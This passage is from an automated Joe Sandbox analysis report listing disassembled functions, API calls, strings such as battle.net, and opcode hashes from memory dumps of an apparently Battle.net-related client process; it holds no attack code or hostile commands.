Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionFacet_RegisterThrow_lock_localesctypestd::_std::bad_alloc::bad_alloc
String ID:
API String ID: 2716750221-0
Opcode ID: f00470ad906fe360da248e588a27599a9484419fa2c40968de4492c9eddb5e12
Instruction ID: de5ee640f8aee4fe17ca603fe92df7ed834a828a05202b0f2ef9526065b462b6
Opcode Fuzzy Hash: f00470ad906fe360da248e588a27599a9484419fa2c40968de4492c9eddb5e12
Instruction Fuzzy Hash: D631AB62A0CA86D1EE109F2DE4601B977A0FB84BE0F584232DB6D037E6DE3CE5469340

Function 00007FF7F96FF3D0 Relevance: 6.1, APIs: 4, Instructions: 63
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7F96E79C0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E7A29
Part of subcall function 00007FF7F96E79C0: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E7A44
Part of subcall function 00007FF7F96E79C0: cef_string_map_alloc.LIBCEF ref: 00007FF7F96E7AB6
Part of subcall function 00007FF7F96E79C0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E7B1F

SetConsoleCtrlHandler.KERNEL32 ref: 00007FF7F96FF3FC
GetModuleHandleW.KERNEL32 ref: 00007FF7F96FF404

Part of subcall function 00007FF7F96E7770: new.LIBCMT ref: 00007FF7F96E7794

Sleep.KERNEL32 ref: 00007FF7F96FF47F
cef_string_map_alloc.LIBCEF ref: 00007FF7F96FF48F

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: cef_string_map_allocmalloc$ConsoleCtrlHandleHandlerModuleSleepfree
String ID:
API String ID: 1258940858-0
Opcode ID: dc478c8a1e166cfd27b1d6fdbd315b0fda1f1455c4cdc7fbf417cc152726f5e5
Instruction ID: eae1ab0b7a5b59ec524273681eca224b0f9a9e126a629c048a6728c1fe34e338
Opcode Fuzzy Hash: dc478c8a1e166cfd27b1d6fdbd315b0fda1f1455c4cdc7fbf417cc152726f5e5
Instruction Fuzzy Hash: 84215E20E0C64291EB55BF26AC411B9D7B29F84784FC80035E97D073DBEE2DE44486F1

Function 00007FF7F974E5B0 Relevance: 4.5, APIs: 3, Instructions: 46
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_CxxThrowException.VCRUNTIME140(?,?,?,?,00007FF7F974DF8F,?,?,?,00007FF7F974E76F), ref: 00007FF7F974E5C4
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7F974E76F), ref: 00007FF7F974E5D4
MapViewOfFile.KERNELBASE ref: 00007FF7F974E624

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: ErrorExceptionFileLastThrowView
String ID:
API String ID: 2958022518-0
Opcode ID: 5417b77c524c30663f1f256b045522e958b35b3579d87da6e87b169c52188e26
Instruction ID: bce915de1cffd8436c3459c2998b5a2ab2615b63cf6a347664d9da29690841a2
Opcode Fuzzy Hash: 5417b77c524c30663f1f256b045522e958b35b3579d87da6e87b169c52188e26
Instruction Fuzzy Hash: 3501D861A14745C3EF18AF24E844339A3A0FF84754F500835DB5D4ABD9DF3DC45287A0

Function 00007FF7F974DE70 Relevance: 1.5, APIs: 1, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

new.LIBCMT ref: 00007FF7F974DE97

Part of subcall function 00007FF7F97A3D44: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F97A3D70

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 2ded609dae4ce5e57364cc0bfb32a0ef494e20ef4200fdc9d1d4aa37da518e16
Instruction ID: 2587392541922adf30ef915fbb19522a8dc15e9e67f7ac82fb1ee587ba423cd2
Opcode Fuzzy Hash: 2ded609dae4ce5e57364cc0bfb32a0ef494e20ef4200fdc9d1d4aa37da518e16
Instruction Fuzzy Hash: E6F0892161C79181E7209A197800039D6B4AB89BE0F644734EBFD477DDDF3CD4514760

Function 00007FF8B90E1430 Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_onexit.LIBCMT ref: 00007FF8B912D054

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: _onexit
String ID:
API String ID: 572287377-0
Opcode ID: 83ae8cda057869e4bcfce759bd0886fbae876962244f8b9fa94d9d0ed1065b8c
Instruction ID: 101527fc942efb76abcd1dc8eb97191bcd353566ee098423acd92d3c9d873e20
Opcode Fuzzy Hash: 83ae8cda057869e4bcfce759bd0886fbae876962244f8b9fa94d9d0ed1065b8c
Instruction Fuzzy Hash: 34E0C252F69487D0E600BF3DEC91BF82150AF243C1FE05531C60D816A1DD0CD39AEB00

Function 00007FF8B90F8510 Relevance: 1.5, APIs: 1, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90F851F

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: setlocale
String ID:
API String ID: 1598674530-0
Opcode ID: 8448ee705ff148786f64ba50eaaef5e3f2e566f6558155d0efa0fa51944e528a
Instruction ID: c2ee8524f5f5307c4e43159f298094b5c10931ac236cadd9385483acdc73511f
Opcode Fuzzy Hash: 8448ee705ff148786f64ba50eaaef5e3f2e566f6558155d0efa0fa51944e528a
Instruction Fuzzy Hash: BCC02B61F0D140C1ED4C2F1D58811390231AF08FC4F905834C70F00100CD1EC0934300

Non-executed Functions

Function 00007FF7F96E79C0 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 310COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25C3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25D3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25E3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25F0

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E7A29

Part of subcall function 00007FF7F96E5010: new.LIBCMT ref: 00007FF7F96E5094
Part of subcall function 00007FF7F96E5010: cef_string_map_alloc.LIBCEF ref: 00007FF7F96E50BC

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E7A44
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E7AB6
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E7B1F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E7B76
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E7C20
new.LIBCMT ref: 00007FF7F96E7C37
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E7D4C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E7D79
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E7E1B

Strings

battle.net, xrefs: 00007FF7F96E7A0D
https, xrefs: 00007FF7F96E7C8D
/shop/, xrefs: 00007FF7F96E7C66
www.battlenet.com.cn, xrefs: 00007FF7F96E7AC8

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturncef_string_map_allocfree$malloc
String ID: /shop/$battle.net$https$www.battlenet.com.cn
API String ID: 3106151382-2878237680
Opcode ID: 30ebd4300529cf13d2a0f6aac6105ca9c1e8fd502c8f71a02a4b405466ebcc6f
Instruction ID: 3022834a09a3ffd16a279211b8201602eba1896dbcee6b391533a0decf307954
Opcode Fuzzy Hash: 30ebd4300529cf13d2a0f6aac6105ca9c1e8fd502c8f71a02a4b405466ebcc6f
Instruction Fuzzy Hash: E0D18C32B08B418AEB11EF65D8103ADB3B6AB04B98F844535CE2D17BD9DF39D416C3A5

Function 00007FF7F9702170 Relevance: 22.9, APIs: 14, Strings: 1, Instructions: 418COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F970222D
memcpy.VCRUNTIME140 ref: 00007FF7F9702248
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F9702268
memmove.VCRUNTIME140 ref: 00007FF7F970229E
memcpy.VCRUNTIME140 ref: 00007FF7F97022B4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F9702328
memcpy.VCRUNTIME140 ref: 00007FF7F9702343
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F9702359
memmove.VCRUNTIME140 ref: 00007FF7F970238F
memcpy.VCRUNTIME140 ref: 00007FF7F97023A5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F9702403
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F970263C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F970264C

Part of subcall function 00007FF7F96EBA90: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7F96EBB6F
Part of subcall function 00007FF7F96EBA90: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7F96EBB8C
Part of subcall function 00007FF7F96EBA90: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7F96EBBAF
Part of subcall function 00007FF7F96EBA90: memmove.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7F96EBBE9
Part of subcall function 00007FF7F96EBA90: memmove.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7F96EBC2C

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F9702747

Part of subcall function 00007FF7F9702B70: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F9702BD0
Part of subcall function 00007FF7F9702B70: memmove.VCRUNTIME140 ref: 00007FF7F9702BEA
Part of subcall function 00007FF7F9702B70: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F9702C03

Strings

([:\/]|\?|\n|$), xrefs: 00007FF7F970260D

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: free$memcpymemmove$malloc
String ID: ([:\/]|\?|\n|$)
API String ID: 2735842428-1527476142
Opcode ID: 94d23265fd06d7eb7b31fa9a22f1bce6258c008eafdf22e478348a61a271287d
Instruction ID: 3f537f2262b2f256d631bdfa910c813040c08dd02bd874bb1c48bad1a85c36d7
Opcode Fuzzy Hash: 94d23265fd06d7eb7b31fa9a22f1bce6258c008eafdf22e478348a61a271287d
Instruction Fuzzy Hash: 98028F62F09B4185FB50EEA5DC103ADA771AB187E8F845232DE2E57ADDDF38D40583A0

Function 00007FF7F970E5C0 Relevance: 22.7, APIs: 15, Instructions: 216COMMON

Download Yara Rule

APIs

cef_string_map_alloc.LIBCEF ref: 00007FF7F970E5D6
new.LIBCMT ref: 00007FF7F970E618

Part of subcall function 00007FF7F97A3D44: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F97A3D70

cef_string_map_alloc.LIBCEF ref: 00007FF7F970E63B
new.LIBCMT ref: 00007FF7F970E649
cef_string_map_alloc.LIBCEF ref: 00007FF7F970E66F
new.LIBCMT ref: 00007FF7F970E69A
cef_string_map_alloc.LIBCEF ref: 00007FF7F970E6C4
new.LIBCMT ref: 00007FF7F970E6EA
cef_string_map_alloc.LIBCEF ref: 00007FF7F970E70F
new.LIBCMT ref: 00007FF7F970E71A
cef_string_map_alloc.LIBCEF ref: 00007FF7F970E7F7
cef_string_map_alloc.LIBCEF ref: 00007FF7F970E81C
cef_string_map_alloc.LIBCEF ref: 00007FF7F970E859
cef_string_map_alloc.LIBCEF ref: 00007FF7F970E87D
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F970E8AE

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: cef_string_map_alloc$_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1462992686-0
Opcode ID: a7f38d0303b15842b5440bcbd9168077520873a5db10c70a3f6b3d47c523b3e9
Instruction ID: 074d4ed2881e6f135aea2210d596e24f28d4fe7b593f0df0c2e734f97ff08f82
Opcode Fuzzy Hash: a7f38d0303b15842b5440bcbd9168077520873a5db10c70a3f6b3d47c523b3e9
Instruction Fuzzy Hash: 7E817122609B8186E795EF11AC143AAB7B4EF89BC0F849434DA9D077E8DF3CD455C7A0

Function 00007FF7F96E6FC0 Relevance: 17.8, APIs: 14, Instructions: 339COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96EB10C
memcpy.VCRUNTIME140 ref: 00007FF7F96EB127
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96EB147
memmove.VCRUNTIME140 ref: 00007FF7F96EB17D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96EB1FF
memcpy.VCRUNTIME140 ref: 00007FF7F96EB21A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96EB23A

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: freemallocmemcpy$memmove
String ID:
API String ID: 2260118914-0
Opcode ID: f625bcf806322541c94781342d928d36ba4744acfacca47c0fe88d790c7e6fc5
Instruction ID: 048f2554103fc5fde6d1a738e63b336151641540e67e67f853ea6ad1197465d0
Opcode Fuzzy Hash: f625bcf806322541c94781342d928d36ba4744acfacca47c0fe88d790c7e6fc5
Instruction Fuzzy Hash: 62E17222B0964185FB10FFB2D8403FDA3B2AB48798F840636DE2E176CDDE39D40583A5

Function 00007FF7F97A4EE0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7F97A4F41
IsDebuggerPresent.KERNEL32 ref: 00007FF7F97A4F59
OutputDebugStringW.KERNEL32 ref: 00007FF7F97A4F6A

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00007FF7F97A4F63

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: DebugDebuggerErrorLastOutputPresentString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 389471666-631824599
Opcode ID: 1350812c3d0dfa734be90a980c35df2e82d1e245d48463fcd563a86e7718f8f5
Instruction ID: 6d03f147cbeb9adb8b27fb92f3160d6f14cfe3e9865261e5a2f21ef2071ab87f
Opcode Fuzzy Hash: 1350812c3d0dfa734be90a980c35df2e82d1e245d48463fcd563a86e7718f8f5
Instruction Fuzzy Hash: 17115E32A2474196E744AF22E944379B2F5FF48395F845135C66D825A8EF3DE0B4C7B0

Function 00007FF8B910F930 Relevance: 3.0, APIs: 2, Instructions: 25COMMONLIBRARYCODE

Download Yara Rule

APIs

___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B910F93B
__crtGetLocaleInfoEx.LIBCPMT ref: 00007FF8B910F955

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: InfoLocale___lc_locale_name_func__crt
String ID:
API String ID: 2625200093-0
Opcode ID: 452bc398865e805a221a8c6e4f8b9859baf2ce5d8fdd9b436033a1a2ba9836ed
Instruction ID: cb281c7f50b6d5fc5eef32d0eb03a6c3268ff3c2dbf57f407823c68dc86a1477
Opcode Fuzzy Hash: 452bc398865e805a221a8c6e4f8b9859baf2ce5d8fdd9b436033a1a2ba9836ed
Instruction Fuzzy Hash: A5F0A77AA2838247D7549F58D0C1AA82360FB48790FC04435EF4E422A9CB5CD8CAC600

Function 00007FF7F974DD10 Relevance: 1.5, APIs: 1, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7F974DD1E

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: Time$FileSystem
String ID:
